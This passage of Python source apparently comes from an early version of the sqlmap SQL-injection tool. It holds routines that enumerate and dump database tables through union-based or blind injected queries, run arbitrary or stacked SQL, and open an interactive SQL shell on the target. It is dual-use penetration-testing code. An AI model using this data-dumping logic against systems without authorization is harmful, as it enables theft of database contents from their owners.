message += "[q]uit"
test = readInput(message, default="a")
if not test or test in ("a", "A"):
dumpFromDbs = dbs.keys()
elif test in ("q", "Q"):
return
else:
dumpFromDbs = test.replace(" ", "").split(",")
for db, tblData in dbs.items():
if db not in dumpFromDbs or not tblData:
continue
conf.db = db
dumpFromTbls = []
message = "which table(s) of database '%s'?\n" % db
message += "[a]ll (default)\n"
for tbl in tblData:
message += "[%s]\n" % tbl
message += "[s]kip\n"
message += "[q]uit"
test = readInput(message, default="a")
if not test or test in ("a", "A"):
dumpFromTbls = tblData
elif test in ("s", "S"):
continue
elif test in ("q", "Q"):
return
else:
dumpFromTbls = test.replace(" ", "").split(",")
for table, columns in tblData.items():
if table not in dumpFromTbls:
continue
conf.tbl = table
conf.col = ",".join(column for column in columns)
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
data = self.dumpTable()
if data:
dumper.dbTableValues(data)
def dumpTable(self):
if not conf.tbl and not conf.col:
errMsg = "missing both table and column parameters, please "
errMsg += "provide at least one of them"
raise sqlmapMissingMandatoryOptionException, errMsg
if conf.col and not conf.tbl:
self.dumpColumn()
return
if "." in conf.tbl:
conf.db, conf.tbl = conf.tbl.split(".")
self.forceDbmsEnum()
if not conf.db:
warnMsg = "missing database parameter, sqlmap is going to "
warnMsg += "use the current database to dump table "
warnMsg += "'%s' entries" % conf.tbl
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
rootQuery = queries[kb.dbms].dumpTable
if conf.col:
colList = conf.col.split(",")
kb.data.cachedColumns[conf.db] = {}
kb.data.cachedColumns[conf.db][conf.tbl] = {}
for column in colList:
kb.data.cachedColumns[conf.db][conf.tbl][column] = None
elif not kb.data.cachedColumns:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
kb.data.cachedColumns = self.getColumns(onlyColNames=True)
colList = kb.data.cachedColumns[conf.db][conf.tbl].keys()
colList.sort(key=lambda x: x.lower())
colString = ", ".join(column for column in colList)
infoMsg = "fetching"
if conf.col:
infoMsg += " columns '%s'" % colString
infoMsg += " entries for table '%s'" % conf.tbl
infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg)
entriesCount = 0
if kb.unionPosition or conf.direct:
if kb.dbms == "Oracle":
query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper())
elif kb.dbms == "SQLite":
query = rootQuery["inband"]["query"] % (colString, conf.tbl)
else:
query = rootQuery["inband"]["query"] % (colString, conf.db, conf.tbl)
entries = inject.getValue(query, blind=False)
if entries:
if isinstance(entries, str):
entries = [ entries ]
entriesCount = len(entries)
index = 0
for column in colList:
colLen = len(column)
if not kb.data.dumpedTable.has_key(column):
kb.data.dumpedTable[column] = { "length": 0, "values": [] }
for entry in entries:
if isinstance(entry, str):
colEntry = entry
else:
colEntry = entry[index]
colEntryLen = len(str(colEntry))
maxLen = max(colLen, colEntryLen)
if maxLen > kb.data.dumpedTable[column]["length"]:
kb.data.dumpedTable[column]["length"] = maxLen
kb.data.dumpedTable[column]["values"].append(colEntry)
index += 1
if not kb.data.dumpedTable:
infoMsg = "fetching number of "
if conf.col:
infoMsg += "columns '%s' " % colString
infoMsg += "entries for table '%s' " % conf.tbl
infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg)
if kb.dbms == "Oracle":
query = rootQuery["blind"]["count"] % conf.tbl.upper()
elif kb.dbms == "SQLite":
query = rootQuery["blind"]["count"] % conf.tbl
else:
query = rootQuery["blind"]["count"] % (conf.db, conf.tbl)
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "unable to retrieve the number of "
if conf.col:
warnMsg += "columns '%s' " % colString
warnMsg += "entries for table '%s' " % conf.tbl
warnMsg += "on database '%s'" % conf.db
logger.warn(warnMsg)
return None
lengths = {}
entries = {}
if kb.dbms == "Oracle":
plusOne = True
else:
plusOne = False
indexRange = getRange(count, dump=True, plusOne=plusOne)
for index in indexRange:
for column in colList:
if column not in lengths:
lengths[column] = 0
if column not in entries:
entries[column] = []
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["blind"]["query"] % (column, conf.db,
conf.tbl, index)
elif kb.dbms == "Oracle":
query = rootQuery["blind"]["query"] % (column, column,
conf.tbl.upper(),
index)
elif kb.dbms == "Microsoft SQL Server":
query = rootQuery["blind"]["query"] % (column, conf.db,
conf.tbl, column,
index, column,
conf.db, conf.tbl)
elif kb.dbms == "SQLite":
query = rootQuery["blind"]["query"] % (column, conf.tbl, index)
value = inject.getValue(query, inband=False)
lengths[column] = max(lengths[column], len(value))
entries[column].append(value)
for column, columnEntries in entries.items():
if lengths[column] < len(column):
length = len(column)
else:
length = lengths[column]
kb.data.dumpedTable[column] = {
"length": length,
"values": columnEntries,
}
entriesCount = len(columnEntries)
if kb.data.dumpedTable:
kb.data.dumpedTable["__infos__"] = {
"count": entriesCount,
"table": conf.tbl,
"db": conf.db
}
else:
warnMsg = "unable to retrieve the entries of "
if conf.col:
warnMsg += "columns '%s' " % colString
warnMsg += "for table '%s' " % conf.tbl
warnMsg += "on database '%s'" % conf.db
logger.warn(warnMsg)
return None
return kb.data.dumpedTable
def dumpAll(self):
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
conf.db = None
conf.tbl = None
conf.col = None
kb.data.cachedDbs = []
kb.data.cachedTables = self.getTables()
for db, tables in kb.data.cachedTables.items():
conf.db = db
for table in tables:
conf.tbl = table
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
data = self.dumpTable()
if data:
dumper.dbTableValues(data)
def sqlQuery(self, query):
output = None
sqlType = None
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
for sqlStatement in sqlStatements:
if query.lower().startswith(sqlStatement):
sqlType = sqlTitle
break
message = "do you want to retrieve the SQL statement output? "
message += "[Y/n] "
getOutput = readInput(message, default="Y")
if not getOutput or getOutput in ("y", "Y"):
infoMsg = "fetching %s query output: '%s'" % (sqlType, query)
logger.info(infoMsg)
output = inject.getValue(query, fromUser=True)
return output
else:
query = urlencode(query, convall=True)
if kb.stackedTest is None:
stackedTest()
if not kb.stackedTest:
return None
else:
if sqlType:
infoMsg = "executing %s query: '%s'" % (sqlType, query)
else:
infoMsg = "executing unknown SQL type query: '%s'" % query
logger.info(infoMsg)
inject.goStacked(query)
infoMsg = "done"
logger.info(infoMsg)
output = False
return output
def sqlShell(self):
infoMsg = "calling %s shell. To quit type " % kb.dbms
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
autoCompletion(sqlShell=True)
while True:
query = None
try:
query = raw_input("sql-shell> ")
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not query:
continue
if query.lower() in ( "x", "q", "exit", "quit" ):
break
output = self.sqlQuery(query)
if output and output != "Quit":
dumper.string(query, output)
elif not output:
pass
elif output != "Quit":
print "No output"